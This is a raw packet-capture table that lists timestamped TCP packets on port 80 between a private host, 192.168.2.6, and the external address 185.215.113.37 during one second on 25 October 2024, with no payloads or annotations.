Oct 25, 2024 13:50:10.283591986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.283610106 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.283627033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.283633947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.283663034 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.283670902 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.283699036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.283708096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.283735037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.283742905 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.283771992 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.283778906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.283809900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.283818007 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.283854008 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.286195040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.286256075 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.286257029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.286288977 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.286302090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.286324024 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.286334038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.286367893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323013067 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323050976 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323085070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323117018 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323167086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323200941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323229074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323229074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323229074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323229074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323235035 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323266983 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323268890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323277950 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323302984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323326111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323354959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323355913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323390007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323400021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323424101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323436022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323460102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.323468924 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.323501110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.400659084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.400690079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.400722980 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.400754929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.400840998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.400859118 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.400859118 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.400859118 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.400897026 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.400933981 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.400933981 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.400934935 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.400979042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.403528929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.403558969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.403590918 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.403624058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.403686047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.403686047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.403686047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.403686047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440207005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440239906 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440273046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440331936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440344095 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440375090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440386057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440402985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440454960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440455914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440488100 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440495968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440524101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440536976 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440555096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440570116 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440607071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440607071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440642118 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440654039 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440675974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440705061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440710068 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440721035 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440738916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440751076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440783978 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440787077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440826893 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440834045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440861940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440872908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440896988 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440907001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440933943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440943003 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440968990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.440979958 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.440999031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.441014051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.441046953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.518084049 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.518165112 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.518270016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.518300056 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.518317938 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.518335104 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.518352032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.518369913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.518381119 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.518404007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.518419027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.518445969 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.518457890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.518505096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.521106005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.521188021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.521218061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.521222115 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.521244049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.521261930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.521270037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.521307945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.557719946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.557753086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.557851076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.557881117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.557892084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.557926893 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.557935953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.557965040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.557977915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558018923 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558027983 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558056116 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558067083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558090925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558108091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558131933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558141947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558176041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558195114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558228970 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558244944 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558276892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558279991 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558315039 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558326960 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558343887 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558358908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558377981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558388948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558412075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558423042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558448076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.558455944 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.558494091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.604959011 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.604995012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.605019093 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.605030060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.605051041 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.605086088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.635629892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.635663986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.635699034 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.635695934 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.635726929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.635734081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.635737896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.635770082 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.635777950 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.635804892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.635823011 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.635855913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.638536930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.638602018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.638634920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.638668060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.638683081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.639487028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.675565958 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.675666094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.675674915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.675700903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.675724030 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.675739050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.675760031 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.675787926 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.675791025 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.675825119 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.675836086 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.675859928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.675879955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.675894022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.675904989 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.675930023 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.675940037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.675965071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.675976992 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.676011086 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.676022053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.676055908 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.676068068 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.676090002 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.676101923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.676158905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.676173925 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.676192999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.676202059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.676228046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.676243067 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.676266909 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.716926098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.717022896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.717094898 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.722301960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.722337961 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.722372055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.722403049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.722424030 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.722982883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.753050089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.753079891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.753103018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.753128052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.753132105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.753166914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.753175974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.753196955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.753206968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.753231049 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.753232956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.753267050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.753268957 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.753295898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.753307104 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.753330946 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.755922079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.755950928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.755983114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.755991936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.755996943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.756047010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.756055117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.756092072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.792727947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.792764902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.792797089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.792798996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.792828083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.792834997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.792851925 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.792881966 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.792958975 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.792989969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793014050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793021917 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793034077 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793056965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793066978 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793090105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793106079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793123960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793138981 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793157101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793190956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793191910 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793201923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793235064 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793243885 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793272972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793296099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793317080 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793323040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793356895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793369055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793386936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793409109 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793420076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793430090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793452978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.793462992 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.793494940 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.839801073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.839852095 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.839883089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.839888096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.839905977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.839925051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.839932919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.839960098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.839966059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.839993954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.840004921 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.840037107 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.870518923 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.870606899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.870639086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.870678902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.870687008 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.870714903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.870723009 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.870744944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.870758057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.870778084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.870785952 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.870811939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.870822906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.870853901 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.873393059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.873446941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.873454094 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.873481989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.873492002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.873524904 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910064936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910100937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910132885 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910134077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910157919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910178900 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.910275936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.910322905 CEST	80	49712	185.215.113.37	192.168.2.6
